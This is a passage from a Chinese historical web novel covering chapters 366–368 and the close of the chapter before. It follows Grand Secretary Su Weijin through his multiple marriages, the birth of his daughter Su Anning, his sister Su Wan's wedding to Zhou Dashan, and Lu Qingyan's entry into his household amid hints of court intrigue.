王雪茹接过剑,“锵”地拔出半截,寒光映着她的笑脸:“好剑!”
苏大哥,还是你懂我!
第三日,娶沈香君。
这位曾经的清倌人,今日格外安静。
蒙着盖头,脚步轻盈,行礼时姿态优雅,引得宾客纷纷侧目。
洞房在琴韵斋。
苏惟瑾送的,是一把唐代古琴“九霄环佩”。
琴身古朴,琴弦轻拨,声音清越如泉。
“香君,”
苏惟瑾轻声道,“你说过,若能得一把好琴,此生足矣。”
这把“九霄环佩”,配你的才情。
沈香君接过琴,指尖轻抚琴弦,眼中泪光莹然:“苏郎……妾身何德何能……”
“你值得。”
苏惟瑾微笑。
腊月二十,三场婚礼办完,苏府终于安静下来。
陈芸娘站在正厅里,看着满堂的喜庆装饰,脸上带着淡淡的笑。
三位新娘今日都来给她敬茶,口称“姐姐”。
她一一接过,给了见面礼,又说了些持家的话。
苏惟瑾走进来,从身后轻轻抱住她。
“芸娘,辛苦你了。”
陈芸娘靠在他怀里,轻声道:“不辛苦。”
能看到你今天这样……妾身心里欢喜。
她顿了顿,声音更低:“只是……一次娶三位妹妹,外头难免有些闲话。”
特别是沈妹妹的出身……
“随他们说去。”
苏惟瑾打断她,“我苏惟瑾做事,但求问心无愧。”
文萱有才,雪茹有义,香君有情,你……有恩。
你们四人,都是我生命中不可或缺的人。
他松开手,走到窗前,望着外头院子里挂满的红灯笼。
从沭阳那个饥寒交迫的书童,到今天的内阁大学士、娇妻美眷在侧……这条路,他走了四年。
“昔日诺言,今日终践。”
他轻声自语。
窗外的雪,又开始下了。
红灯笼在雪光中摇曳,映得满府喜庆。
可苏惟瑾心里清楚,这喜庆之下,暗流从未停歇。
那些被触动了利益的勋贵,那些表面恭顺的边镇将领,还有那个藏在深宫、看似沉迷修仙的皇帝……
路还长。
但他已有足够的底气,走下去。
三美同娶,娇妻在侧,苏惟瑾的人生似乎已达圆满。
然而树欲静而风不止——那些眼红他权势的朝臣,会如何利用他这次“风流韵事”做文章?
嘉靖皇帝今日虽慷慨赐婚,可一位手握内阁、京营大权的年轻重臣,家中还聚拢了多方势力(赵家的文官背景、王家的武将关系、沈香君的江湖消息网),这位多疑的皇帝真能完全放心?
更关键的是,远在云南的杨慎余党与黑巫师集团,绝不会善罢甘休。
喜庆的红绸之下,新的风暴已在酝酿。
第366章 芸娘诞千金,瑾喜又添忧
正月的雪还没化干净,苏府后院里那几株老梅倒开得正艳。
红艳艳的花瓣衬着残雪,看着就喜庆。
可这份喜庆,比不过东跨院正房里传出的消息——
陈芸娘要生了。
消息传到文渊阁时,苏惟瑾正在批一份关于漕运改道的奏章。
笔尖蘸了朱砂,悬在半空,听到小厮气喘吁吁的禀报,那滴朱砂“啪”地落在奏章上,洇开一团红。
“什么时候的事?”
他放下笔,声音还算稳。
“回老爷,半个时辰前开始的,稳婆已经进去了,赵夫人、王夫人、沈夫人都在产房外守着……”
话没说完,苏惟瑾已经起身往外走。
走到门口又折回来,把桌上几份要紧的奏章塞给当值的中书舍人:“这些我已批过,送司礼监用印。”
告诉毛阁老,今日我有家事,阁务请他多担待。
说完,大步流星出了文渊阁。
轿子在街上走得飞快,苏惟瑾坐在里头,手指无意识地摩挲着袍角。
两世为人,这是头一回当爹。
上辈子他死得早,没尝过这滋味;这辈子从书童一路拼杀到阁老,刀光剑影里都没慌过,可这会儿……
心悬着。
轿子一到府门前,还没停稳他就掀帘跳了下来。
门房老张迎上来,话都说不利索:“老、老爷,在后院……”
苏惟瑾没理他,径直往后院走。
穿过垂花门,绕过影壁,东跨院就在眼前。
院子里站了好些人,丫鬟婆子端着热水、捧着毛巾,进进出出,脚步匆匆。
赵文萱、王雪茹、沈香君都在廊下站着。
见苏惟瑾来了,赵文萱第一个迎上来,柔声道:“夫君莫急,稳婆说芸娘姐姐胎位正,气息也稳,应无大碍。”
王雪茹接话:“是啊苏大哥,我刚还听见芸娘姐说话呢,中气足着呢!”
沈香君没说话,只是递过来一杯热茶,眼神里透着安抚。
苏惟瑾接过茶,没喝,目光盯着那扇紧闭的房门。
里头偶尔传出陈芸娘压抑的呻吟,还有稳婆的安抚声:“夫人,吸气……呼气……对,就这样……”
时间过得慢。
廊下的日影一寸寸挪,苏惟瑾手里的茶从烫放到凉。
他脑子里乱七八糟地转——转上辈子在妇产科普文章里看过的那些知识,转这时代落后的医疗条件,转陈芸娘这些年跟着他受的苦。
当年在沭阳,她还是书铺老板的女儿,看他饿得慌,偷偷塞给他一个冷饼。
饼是玉米面掺野菜的,粗糙得划嗓子,可那是他吃过最香的一顿饭。
后来他中了秀才,她爹嫌他穷,不肯把女儿嫁他。
她就夜里翻墙出来,把攒了多年的体己钱塞给他:“惟瑾哥,你去考,考中了回来娶我。”
再后来他真中了状元,风风光光回来娶亲。
拜堂那日,她穿着大红嫁衣,盖头下的脸笑得像朵花。
这些年在京城,他忙着在朝堂上搏杀,她在家操持家务、伺候公婆(虽只是牌位)、应付各路人情往来。
从没喊过一声累,没抱怨过一句苦。
“啊——”
产房里突然传出一声痛呼。
苏惟瑾手一抖,茶杯差点掉地上。
“夫君别急,”赵文萱轻声道,“这是快生了。”
话音未落,一声嘹亮的啼哭从房里冲出来!
那声音尖细、有力,像把锥子,一下子刺破了院里的紧张。
门开了,稳婆探出头,脸上笑成一朵菊花:“恭喜老爷!”
贺喜老爷!
是位千金!
母女平安!
院里“轰”地一下热闹起来。
丫鬟婆子们纷纷道喜,赵文萱三人都松了口气,脸上露出笑容。
苏惟瑾愣在那儿,好一会儿才回过神。
他抬脚往房里走,稳婆拦住:“老爷,里头还没收拾干净……”
“让开。”
声音不高,可稳婆被那眼神一盯,下意识让开了路。
屋里还弥漫着血腥气,混着炭火和草药的味道。
陈芸娘躺在榻上,脸色苍白,头发被汗浸得贴在额头上,可眼睛亮晶晶的,嘴角带着笑。
她怀里抱着个襁褓,里头裹着个小东西,正闭着眼,皱巴巴地哭着。
苏惟瑾走过去,在榻边坐下,伸手想去碰碰女儿的脸,又缩了回来——手有点抖。
“夫君,”陈芸娘声音虚弱,可满是欢喜,“你看,咱们的女儿。”
苏惟瑾这才轻轻碰了碰婴儿的小脸。
那皮肤又红又皱,像个小老头,可在他眼里,比什么珍宝都珍贵。
“辛苦你了。”
他握住陈芸娘的手,那手冰凉。
陈芸娘摇摇头,低头看着女儿,眼里都是温柔:“夫君,给女儿取个名字吧。”
苏惟瑾凝视着那个小生命,超频大脑里闪过无数念头。
这时代对女子苛刻,大家闺秀要守规矩,小户女儿要操持家务,穷苦人家的女子更是命如草芥。
他的女儿……
“就叫安宁吧。”
他轻声道,“苏安宁。”
不求她大富大贵,但求一生平安宁静。
这是他对这个时代女子命运的期许,也是他作为父亲,能给女儿的最朴素的承诺。
陈芸娘喃喃重复:“安宁……苏安宁……好名字。”
洗三礼定在三日后。
苏府没大操大办,只请了亲近的几家。
前厅摆了六桌,来的都是自己人——周大山、苏惟虎、苏惟山这些军中弟兄,宋卫佳、彭友信这些得力手下,还有几位在朝中与苏惟瑾交好的官员。
最让人惊喜的,是苏婉来了。
苏惟瑾这个妹妹,当年在沭阳还是个黄毛丫头,如今已出落得亭亭玉立。
苏惟瑾暗中资助她在江南读书,请了女先生教她识字、算账、甚至一些简单的医理。
如今站在那儿,一身淡青衣裙,气质沉静,落落大方。
“哥。”
苏婉见到苏惟瑾,眼圈微红。
苏惟瑾拍拍她的肩:“路上辛苦了。”
“不辛苦。”
苏婉看向他怀里的襁褓,眼睛亮了,“这就是安宁?”
我能抱抱吗?
苏惟瑾小心地把女儿递过去。
苏婉接过来,动作生疏却轻柔,看着那张小脸,眼里满是欢喜:“长得像嫂子,真好。”
席间热闹得很。
周大山几碗酒下肚,话就多了。
他端着酒杯凑到苏惟瑾跟前,大着舌头说:“公子……不,阁老!”
俺敬您!
祝小小姐平安长大,将来……将来嫁个好人家!
苏惟瑾笑着跟他碰了一杯。
周大山喝完酒,眼睛往女眷那桌瞟——苏婉正跟赵文萱说话,侧脸在烛光下柔美动人。
他看得有点出神,被旁边的苏惟虎发现了。
“哟!”
苏惟虎一拍桌子,“大山哥,看啥呢?”
眼都直了!
一桌人都看过来,周大山那张黑脸“腾”地红了,结结巴巴:“没、没看啥……”
喝酒!
喝酒!
众人哄笑。
苏惟虎不依不饶:“俺可瞧见了,你看的是苏婉妹子!”
咋的,动了心思?
周大山臊得恨不得钻桌子底下去。
苏惟瑾也笑了,却没说什么。
苏婉的婚事,他尊重她自己的意思。
若她真对周大山有意,倒也不是坏事——至少周大山品性他信得过。
洗三礼简单而温馨。
稳婆把安宁抱到铜盆前,用温水给她擦身,一边擦一边念吉祥话:“洗洗头,做王侯;”
洗洗腰,一辈更比一辈高;
洗洗蛋,做知县;
洗洗沟,做知州……
小家伙被温水一激,“哇”地哭起来,声音洪亮。
满堂欢笑。
喜事过后,隐忧浮了上来。
苏惟瑾私下请了太医院的院判来给陈芸娘诊脉。
老院判闭目诊了半晌,睁开眼,面色凝重。
“苏阁老,”他压低声音,“尊夫人早年劳累过度,底子本就虚。”
此次生产,又损耗不小。
需好生休养,用药调理,且……短期内不宜再孕,否则恐伤根本。
苏惟瑾沉默良久,才道:“有劳院判开方子。”
需要什么药材,尽管说。
“下官明白。”
院判提笔写方子,一边写一边嘱咐,“夫人需静养,不能劳累,不能操心。”
最好……最好三年内不要再有身孕。
送走院判,苏惟瑾一个人在书房坐了许久。
他知道这时代的医疗条件。
女人生孩子就是过鬼门关,陈芸娘能母女平安,已经是万幸。
可听到“不宜再孕”这四个字,心里还是像堵了块石头。
他叫来赵文萱、王雪茹、沈香君,把情况简单说了。
“芸娘需要静养,家里的事,你们多担待。”
他顿了顿,“尤其是文萱,你心思细,多费心。”
赵文萱点头:“夫君放心,我们会照顾好姐姐。”
王雪茹拍胸脯:“苏大哥,我虽粗心,可有力气!”
跑腿办事,保管利索!
沈香君轻声道:“妾身略懂些药理,可以帮着煎药、调理。”
苏惟瑾看着她们,心里一暖。
他又找来胡三,让他去寻些温补的药材——长白山的老参、云南的灵芝、西域的雪莲,只要是好的,不惜代价。
夜里,苏惟瑾抱着安宁在房里踱步。
小家伙睡着了,小嘴偶尔吧嗒两下,像是在做梦。
烛光下,那张小脸柔嫩得让人心疼。
“安宁,安宁……”
他轻声念叨,低头亲了亲女儿的额头,“爹会为你,为你娘,为这个家……打造一个真正太平的世道。”
窗外,正月十五的月亮圆滚滚地挂在天上。
清辉洒进屋里,照着一家三口。
前路还长,风雨未歇。
可怀里这个小小的生命,让他有了必须走下去的理由。
苏安宁的诞生给苏府带来喜庆,可陈芸娘的身体隐患已埋下。
在这医疗落后的时代,她的健康能否恢复?
而苏惟瑾“打造太平世道”的誓言,又将面临怎样的挑战?
更关键的是,周大山对苏婉的心思已经显露,这段姻缘会如何发展?
家庭内部的温情之下,朝堂的暗流、边镇的异动、黑巫师的阴影,都从未远离。
喜得千金之后,等待苏惟瑾的,是更复杂的棋局。
第367章 婉妹配大山,瑾全兄妹情
苏婉在京城这一住,就是小半年。
她从江南来的时候是腊月,如今已是来年五月。
京城的春天短,几场雨一过,天就热起来了。
苏府后园里的海棠谢了,换上了一架紫藤,花开得瀑布似的,香气能飘出老远。
这半年里,苏婉没闲着。
她帮着陈芸娘调理身子——自己读了几年医书,虽谈不上精通,可寻常的食补药膳都懂些;也帮着赵文萱整理书房,那些古籍字画,她分门别类,整理得井井有条;偶尔还跟王雪茹学两招拳脚,说是“强身健体”;和沈香君也能聊到一处,琴棋书画都能说上几句。
但最常来找她的,还是周大山。
周大山如今是锦衣卫指挥使,兼着虎贲营的差事,忙得脚不沾地。
可只要得空,就往苏府跑。
有时是送些时鲜果子,说是“下面人孝敬的,给府里尝尝”;有时是拎两只野味,说是“营里弟兄打猎分的”;更多时候,就是傻站着,搓着手,憋半天说一句:“小姐……最近可好?”
苏惟瑾把这些都看在眼里。
这日休沐,他在书房里看公文,周大山又来了。
这回拎的是一筐樱桃,红艳艳的,还带着露水。
“大人,”周大山把筐子放下,黝黑的脸上透着憨笑,“营里弟兄从西山摘的,新鲜。”
苏惟瑾放下笔,指了指旁边的椅子:“坐。”
周大山规规矩矩坐下,腰板挺得笔直。
“大山,”苏惟瑾看着他,“你来京城,有四年了吧?”
“四年零三个月。”周大山记得清楚。
“这四年,你跟着我,从广西到京城,从锦衣卫百户到指挥使,不容易。”苏惟瑾慢慢道,“你这个人,实诚,忠义,办事牢靠。”
我信你。
周大山有点局促:“大人过奖了,都是大人提拔……”
“不说这些虚的。”苏惟瑾摆摆手,话锋一转,“你觉得婉妹……怎么样?”
周大山的脸,“腾”地一下红了。
他张了张嘴,喉咙里咕哝两声,愣是没说出话。
那张黑脸涨成了酱紫色,额头上都冒了汗。
“我、我……”他结巴了半天,才憋出一句,“小姐她……她很好……”
“怎么个好法?”苏惟瑾追问。
周大山更慌了,抓耳挠腮,好一会儿才道:“小姐……知书达理,待人温和,说话办事都有条理……还、还会医术,上次俺在营里扭了腰,小姐给俺配了膏药,贴两天就好了……”
他说得磕磕巴巴,可眼神里的光,藏不住。
苏惟瑾笑了。
他端起茶盏,抿了一口,缓缓道:“大山,你若有意,我便做主,将婉妹许配给你。”
“轰——”
周大山脑子里像炸了个雷。
他“噌”地站起来,手都不知道往哪儿放:“大人!这、这可使不得!”
俺是个粗人,大字不识几个,就是个军汉……小姐是读书人,是大家闺秀,俺、俺配不上……
“配不配得上,我说了算。”苏惟瑾放下茶盏,神色认真起来,“英雄不问出身。”
我苏惟瑾当年,也不过是个书童。
婉妹看人,也不看重这些虚的。
他顿了顿,看着周大山:“你忠义可靠,品性端正,婉妹嫁你,我放心。”
周大山站在那儿,整个人都懵了。
他做梦都没敢想,自己能娶苏婉——那可是苏阁老的亲妹妹,读过书、有才情的小姐!
“不过,”苏惟瑾话锋一转,“你得答应我两件事。”
周大山立刻挺直腰板:“大人您说!别说两件,两百件俺也答应!”
“第一,”苏惟瑾竖起一根手指,“此生不得纳妾。”
婉妹嫁你,就是你的正妻,唯一的妻。
周大山重重点头:“俺发誓!这辈子就娶小姐一个!绝不再娶!”
“第二,”苏惟瑾竖起第二根手指,“家中大事,需尊重婉妹,商量着来。”
不可独断专行,更不可轻视她的意见。
“应该的!应该的!”周大山连连应道,“小姐读书多,见识广,俺都听她的!”
苏惟瑾这才露出笑容,站起身,走到周大山面前,拍了拍他的肩膀:“好好待她。”
她是我在这世上,唯一的血亲了。
周大山激动得浑身发颤,他“噗通”一声单膝跪地,抱拳道:“大人放心!俺周大山对天发誓,此生绝不负小姐!如有违背,天打雷劈,不得好死!”
“起来。”苏惟瑾扶起他,“去准备吧。”
婚事定在八月,秋高气爽,正合适。
消息传到后院时,苏婉正在给安宁做小衣裳。
赵文萱走进来,笑着把事儿说了。
苏婉手里的针线停了一下,脸颊慢慢泛起红晕。
“婉妹,”赵文萱柔声道,“兄长问你的意思。”
你若不愿意,谁也不能勉强。
苏婉低着头,手指无意识地捻着衣角,好半晌,才轻声道:“全凭兄长做主。”
声音很小,可那份羞涩里的欢喜,藏不住。
其实这半年,她也看出来了。
周大山这个人,看着粗,心却细。
他记得她爱吃什么,怕她闷,常找些新奇玩意儿送来。
有次她随口说了句“紫藤花真香”,隔天他就从西山移了一株来,亲手种在后园。
人实在,靠得住。
婚事就这么定了。
八月初八,黄道吉日。
婚礼没像苏惟瑾娶亲时那么盛大——周大山坚持说“不能越了礼数”,可该有的排场一样不少。
花轿是八抬的,喜宴摆了二十桌,来的除了锦衣卫和虎贲营的弟兄,还有朝中与苏惟瑾交好的官员。
苏惟瑾给妹妹准备的嫁妆,让所有人都咋舌。
一套三进的大宅子,在城南莲花胡同,离苏府不远,收拾得干干净净;两家店铺,一家绸缎庄,一家茶叶铺,都是能生钱的产业;还有现银五千两,装在一个大樟木箱子里,抬过去的时候,沉得四个壮汉都费劲。
周大山看到这些,惶恐得直搓手:“大人,这太贵重了……”
俺、俺不能要……
“拿着。”苏惟瑾按住他的手,“婉妹是我唯一的亲人,这些不算什么。”
你好好对她,比什么都强。
他顿了顿,声音低了些:“大山,我如今在朝中,看着风光,实则如履薄冰。”
婉妹嫁你,我就把她托付给你了。
你们好好过日子,平平安安的,我就心安了。
周大山重重点头,眼圈有点红:“大人放心,俺一定护小姐周全!”
吉时到,鞭炮齐鸣。
苏婉穿着大红嫁衣,凤冠霞帔,由喜娘搀着,一步步走出苏府。
上轿前,她回头看了苏惟瑾一眼。
苏惟瑾站在门口,脸上带着笑,朝她点了点头。
轿子起,吹吹打打往周府去。
苏惟瑾站在那儿,看着轿子消失在街角,心里空了一下。
当年在沭阳,父母早亡,他和婉妹相依为命。
他被人卖去当书童时,婉妹追着马车跑了三里地,哭得撕心裂肺。
后来他中了状元,第一件事就是把婉妹接到身边。
如今,妹妹也出嫁了。
“夫君,”陈芸娘走到他身边,轻声道,“婉妹嫁的是良人,该高兴。”
苏惟瑾握住她的手:“是,该高兴。”
婚后,周大山果然践行诺言。
他对苏婉体贴入微,府里的事都听她的。
苏婉让他学着识字,他就真的一笔一划地学,虽然写得歪歪扭扭,可那份认真,让人动容。
苏婉把周府打理得井井有条。
前院是周大山待客、办公的地方,收拾得简洁利落;后院种了花,养了鱼,还辟了块小菜地,说是“自己种的菜吃着香”。
两口子偶尔也拌嘴——多是周大山粗心,忘了什么事,苏婉说他两句。
可从来不过夜,周大山认错快,苏婉气消得也快。
京城里渐渐传开,说周指挥使惧内。
周大山听了也不恼,反而咧嘴笑:“俺家夫人说得对,俺就听她的,咋了?”
这话传到苏惟瑾耳朵里,他笑了。
他知道,婉妹这桩婚事,成了。
九月初,秋老虎还没走。
苏惟瑾在文渊阁里,看着一份从云南来的密报。
上面说,杨慎虽死,可他在云南经营多年,余党未清。
最近那边有些异动,几个土司来往密切,似乎在密谋什么。
他放下密报,揉了揉眉心。
安宁已经会笑了,芸娘的身子也在慢慢调养,婉妹有了归宿,朝局暂时稳定……
看似一切都好。
可他知道,风暴从没真正停歇。
云南那条线,该动了。
苏婉与周大山婚事圆满,亲情线暂时安定。
然而云南传来密报,杨慎余党与当地土司往来密切,黑巫师的阴影再度浮现。
苏惟瑾知道,这条从广西、广州延伸到京城的毒线,根源在云南。
而刚刚稳定下来的朝堂和家庭,能否承受又一场远赴南疆的波澜?
更关键的是,嘉靖皇帝的身体在“清心丹”调理下日渐好转,对修仙的沉迷虽未减,可神智越来越清醒。
这位多疑的皇帝,会如何看待一个权倾朝野、军政大权在握的年轻阁老?
圆满之下,暗涌已生。
第368章 清晏归府邸,瑾纳第四美
苏婉出嫁后的第三日,京城下了一场透雨。
雨后初晴,城南莲花胡同周府的门槛还红艳艳的,苏府这边却已经开始张罗另一桩事——接陆清晏入府。
陆清晏在别院“养病”的这两年,外头只当她是个病得快死的姑娘。
陆炳对外宣称妹妹得了痨症,不宜见人,连陆府下人都很少见到这位小姐。
谁也不知道,那别院里住着的,其实是苏惟瑾暗中安排的另一位女子替身,真正的陆清晏早就被转移到了京郊一处庄子。
如今“守孝期”满,也该接回来了。
这日辰时,一辆不起眼的青篷马车从崇文门进了城。
车帘半卷,露出一张略显苍白的脸。
陆清晏穿一身素色襦裙,头上只簪一支白玉簪,整个人清瘦得像是能被风吹走。
可那双眼睛,却亮得惊人——不是少女的明媚,而是一种历经生死后的沉静。
马车行过棋盘街,外头传来喧闹的市井声。
“糖葫芦——三文钱一串!”
“新到的杭绸,江南最时兴的花样!”
“客官里边请,刚出炉的灌汤包!”
陆清晏静静听着,指尖轻轻摩挲着袖口。
两年了,她几乎忘了京城的烟火气是什么样子。
那日在教坊司的绝望,后来被苏惟瑾救下的惊惶,在庄子里的日夜不安……如今想来,竟像是一场噩梦。
“小姐,到了。”车夫低声说。
马车停在苏府侧门。
早有两个婆子等在那里,见车来,忙上前打帘子、放脚凳。
陆清晏扶着婆子的手下车,抬眼便见门内站着几人。
为首的是陈芸娘。
她今日穿一件藕荷色对襟褙子,下着月白百褶裙,发髻简单绾着,只插一支珍珠步摇。
温婉的脸上带着浅笑,眼神柔和。
她身旁站着赵文萱、王雪茹、沈香君。
三女衣着各异,气质不同,却都神色平静地望过来。
陆清晏脚步顿了顿。
她早知道苏惟瑾已娶妻纳妾,可真见到这阵仗,心里还是莫名一紧。
这两年,苏惟瑾每月都会去庄子看她一两次,带些书、药、吃食,偶尔也和她说话。
她能感觉到,这位苏大人待她是真心的——不是男女之情那种真心,而是救命恩人对一个可怜人的照拂。
可她没想到,他的妻妾们……竟都来了。
“陆姑娘一路辛苦了。”陈芸娘上前一步,温声道。
“我是陈芸娘,夫君的发妻。这几位是文萱、雪茹、香君。”
陆清晏敛衽行礼:“见过诸位夫人。”
她这一礼,规矩极严,是陆家从小教的大家闺秀做派。
只是动作间透着几分生硬——这两年,她几乎忘了该怎么行礼。
“快别多礼。”王雪茹性子直,上前扶她。
“往后都是一家人,这么客气做什么?”
沈香君掩唇轻笑:“雪茹说得是。陆姑娘,先进府歇着吧,外头风大。”
赵文萱则细细打量了陆清晏几眼,轻声道:“陆姑娘脸色不好,路上可是累了?”
“我已让人备了参汤,待会儿用些。”
陆清晏看着这些女子,心里那点不安,竟莫名散了几分。
她点点头:“多谢。”
一行人进了府,往后院走。
苏府是御赐的宅子,三进三出,不算大,但布置得极雅致。
过垂花门时,陆清晏看见影壁上刻着一副对联:
“风雨一庭,守得书窗灯影静
烟霞满纸,养来笔底墨花香”
笔力遒劲,是苏惟瑾的字。
她认得——庄子里的书案上,就摆着他写的一幅字,她常看。
“这是夫君写的。”陈芸娘见她看对联,笑道。
“他说做学问要耐得住寂寞,守得住本心。”
陆清晏轻声道:“苏大人……确实如此。”
西厢房已经收拾出来。
两明一暗,陈设简单却精致。
窗下摆着一张黄花梨书案,案上有笔砚、镇纸,还有几卷书。
靠墙是一张雕花拔步床,帐子是素色软烟罗。
外间设了小榻、茶几,墙角还摆了一架琴。
“看看可还缺什么?”陈芸娘柔声道。
“若有什么不习惯的,尽管说。”
陆清晏摇摇头:“很好了。”
比庄子里的屋子好太多,比她在陆府时的闺房……也不差什么。
“那就好。”陈芸娘顿了顿,看向其他三女。
“你们先陪陆姑娘说说话,我去看看厨房的午膳准备得如何了。”
她说完,又对陆清晏温婉一笑,这才转身离开。
她一走,屋里的气氛反倒轻松了些。
王雪茹一屁股坐在小榻上,拿起茶几上的果子就啃:“陆姑娘,你别拘束。”
“芸娘姐人最好,就是有时候太客气,让人不好意思。”
沈香君瞪她一眼:“你就不能斯文些?”
转头对陆清晏笑道:“陆姑娘别见怪,雪茹就是这性子。”
陆清晏看着她们,嘴角微微弯了弯:“不会。”
她看得出来,这几个女子感情很好——不是装出来的那种好,是真心把彼此当姐妹。
“陆姑娘,”赵文萱在她对面坐下,温声道。
“夫君与我们说过你的事。你放心,既进了苏府的门,往后这里就是你的家。”
“外头那些闲言碎语,不必理会。”
陆清晏心头一暖,低声道:“多谢赵夫人。”
“叫文萱就好。”赵文萱笑了笑。
“对了,听说陆姑娘会抚琴?”
“略懂。”
“那可巧了。”沈香君眼睛一亮。
“香君也爱琴,往后咱们可以切磋切磋。”
几人正说着话,外头传来脚步声。
苏惟瑾进来了。
他今日休沐,穿一身家常的青色直裰,头发用木簪简单绾着,看着比平日上朝时柔和许多。
进门见四女都在,笑道:“都在呢?”
“夫君。”三女起身。
陆清晏也站起来,张了张嘴,却不知该怎么称呼。
苏惟瑾摆摆手:“都坐。”
他走到陆清晏面前,仔细看了看她,“路上可还顺利?”
“顺利。”陆清晏垂眸。
“那就好。”苏惟瑾在赵文萱身边坐下。
“往后你就住这儿。对外,你是我的远房表妹,父母双亡,来投奔的。”
“名字……就叫陈清晏吧,随芸娘的姓,免得引人怀疑。”
陆清晏点头:“听凭苏大人安排。”
“私下里,不必这么客气。”苏惟瑾温声道。
“清晏,我问你一句——你若不愿留下,我可以为你安排新身份,送你到江南或者蜀中,安稳度日。”
屋里静了静。
三女都看向陆清晏。
陆清晏抬起头,看着苏惟瑾。
两年了,这张脸她看了无数次,从最初的陌生,到后来的信任,再到如今……
她想起那日在教坊司,他破门而入时眼里的怒意。
想起在庄子里,他每次来都会带一本她爱看的书。
想起兄长陆炳最后那次来看她,说的那句话:“苏惟瑾此人,可托付。”
“苏大人救我性命,保我清白,清晏无以为报。”她声音很轻,却很坚定。
“且兄长曾言,苏大人是可信之人。”
她顿了顿,一字一句道:“清晏愿留府中。”
苏惟瑾看着她,点了点头:“好。”
三日后,苏府办了场简单的纳妾礼。
没请外人,只府里自己人吃了顿饭。
陆清晏换了身粉色的衣裙,给陈芸娘敬了茶,算是正式过了门。
礼成后,苏惟瑾在书房单独见了她。
“清晏,有件事我得与你说清楚。”他神色认真。
“我娶你,一是为全你名节,二是因陆炳将军与我曾有旧谊。但男女之情……我无法保证。”
陆清晏平静道:“清晏明白。”
她能活着,能清清白白地活着,已经是天大的幸运。
至于情爱,她早就不奢求了。
“不过,”苏惟瑾话锋一转。
“你既进了苏家的门,我便不会亏待你。往后你想读书、抚琴、习武,都随你。”
“府里的事,芸娘管着,你有什么需要,尽管找她。”
“是。”
“还有,”苏惟瑾从书案抽屉里取出一枚玉佩。
“这是你兄长当年给我的信物。如今物归原主。”
陆清晏接过玉佩,指尖微微发颤。
这是陆家的祖传玉佩,兄长一直贴身戴着。
那年兄长将它送给苏惟瑾,便是将她的性命托付给了他。
“多谢……夫君。”她第一次用这个称呼,声音有些涩。
苏惟瑾笑了笑:“去吧,她们在后园等你。”
陆清晏行礼退下。
她走后,苏惟瑾走到窗边,看着外头的月色。
陈芸娘不知何时来了,轻轻走到他身边:“夫君在担心什么?”
“担心朝局。”苏惟瑾握住她的手。
“清晏入府,陆炳这条线就算彻底绑在我身上了。锦衣卫指挥使……这位置太扎眼。”
“可夫君不是早就与陆将军绑在一起了吗?”陈芸娘温声道。
“从你救下清晏那日起,便是了。”
苏惟瑾苦笑:“也是。”
“夫君,”陈芸娘靠在他肩上,轻声道。
“清晏是个好姑娘。她刚烈,却懂进退;沉静,却不孤僻。”
“往后在府里,我们会好好相处,你放心。”
苏惟瑾转头看她:“芸娘,谢谢你。”
“谢什么?”陈芸娘抬眼,眼里有温柔的光。
“我是你的妻啊。”
陆清晏入府后,日子过得平静。
她确实喜静,常一个人在屋里看书、抚琴。
但也不完全独处——王雪茹常来找她,说是要教她防身术。
“女子也得会些拳脚,不然遇到歹人怎么办?”王雪茹振振有词。
陆清晏拗不过她,便也跟着学。
她身子弱,练不了刚猛的招式,王雪茹就教她一些巧劲和身法。
两人一个教得认真,一个学得用心,竟成了好友。
沈香君也常来,与她论琴。
两人琴艺各有千秋,陆清晏的琴音清冷孤高,沈香君的琴音婉转缠绵,合在一处却意外地和谐。
赵文萱则常与她谈诗论文。
陆清晏出身将门,却读了不少书,两人聊起来竟很投契。
至于陈芸娘,她把陆清晏当亲妹妹照顾。
吃穿用度从不短她的,还常亲自下厨给她炖汤补身子。
苏惟瑾看在眼里,心里欣慰。
这日休沐,他在书房练字,写了“齐家治国平天下”六个字。
笔锋刚劲,力透纸背。
正写着,外头传来通报:“老爷,赵教谕来访。”
苏惟瑾笔一顿。
赵教谕,赵文萱的父亲,那位曾看不起他出身的县学教谕。
自他中状元后,这位岳父大人的态度就微妙起来——既想借他的势,又放不下读书人的清高。
这两年,赵教谕靠着他的关系,已升任国子监博士,却总觉得还不够。
“请他到花厅。”苏惟瑾放下笔,整了整衣裳。
花厅里,赵教谕已经在了。
他穿一身深蓝色直裰,头戴方巾,手里端着茶盏,正慢条斯理地品着。
见苏惟瑾进来,只抬了抬眼,没起身。
“岳父大人。”苏惟瑾行礼。
“嗯。”赵教谕放下茶盏,“坐吧。”
苏惟瑾在下首坐了。
“听说,你又纳了一房妾室?”赵教谕开门见山,语气里带着明显的不悦。
“还是陆炳的妹妹?”
“是。”
“糊涂!”赵教谕一拍茶几。
“陆炳是什么人?锦衣卫指挥使!天子鹰犬!”
“你一个阁臣,与这等人物结亲,就不怕惹人非议?”
苏惟瑾平静道:“清晏姑娘身世可怜,我救她,是尽朋友之义。”
“纳她,是保她名节。至于陆将军,我与他确有旧谊,但公是公,私是私。”
“说得轻巧!”赵教谕冷笑。
“朝中多少人盯着你?严党那些人,正愁抓不到你的把柄!”
“你倒好,自己往枪口上撞!”
他顿了顿,语气缓了些:“文萱是我女儿,我自然盼你好。”
“可你如今身居高位,行事更该谨慎。纳妾也就罢了,偏纳个锦衣卫头子的妹妹——你让朝中清流怎么看你?”
苏惟瑾抬眼看赵教谕,忽然笑了:“岳父大人,您今日来,就是为了说这个?”
赵教谕被他的笑弄得一愣,随即恼道:“怎么?我说不得你?”
“说得。”苏惟瑾端起茶盏,慢悠悠喝了口茶。
“不过,岳父大人可知道,我为何能走到今日?”
不等赵教谕回答,他继续道:“因为我行事,只问对错,不问利弊。”
“救清晏,我觉得该救,便救了。纳她,我觉得该纳,便纳了。”
“至于旁人怎么看——”他放下茶盏,声音平静却有力。
“我苏惟瑾做事,何须看人脸色?”
赵教谕脸色一阵青一阵白。
他这些年靠着女婿的势,在国子监混得风生水起,渐渐忘了眼前这个年轻人,早已不是当年那个任他拿捏的穷书生了。
“你……你好自为之!”赵教谕拂袖而起,转身就走。
走到门口,又停住,回头道:“文萱在你这儿,你若亏待她,我绝不饶你!”
苏惟瑾起身,恭敬行礼:“岳父大人放心。”
赵教谕哼了一声,这才走了。
苏惟瑾看着他离开的背影,摇了摇头。
回到书房,他重新提起笔,在“齐家治国平天下”下面,又写了一行小字:
“守本心,行正道,虽千万人吾往矣。”
傍晚,苏惟瑾去陆清晏屋里用膳。
陆清晏已备好了饭菜,四菜一汤,简单却精致。
见他来,起身行礼:“夫君。”
“坐。”苏惟瑾在她对面坐下。
“今日赵教谕来了,说了些话。”
陆清晏手一颤:“是因为我……”
“与你无关。”苏惟瑾夹了一筷子菜。
“是我自己的选择。”
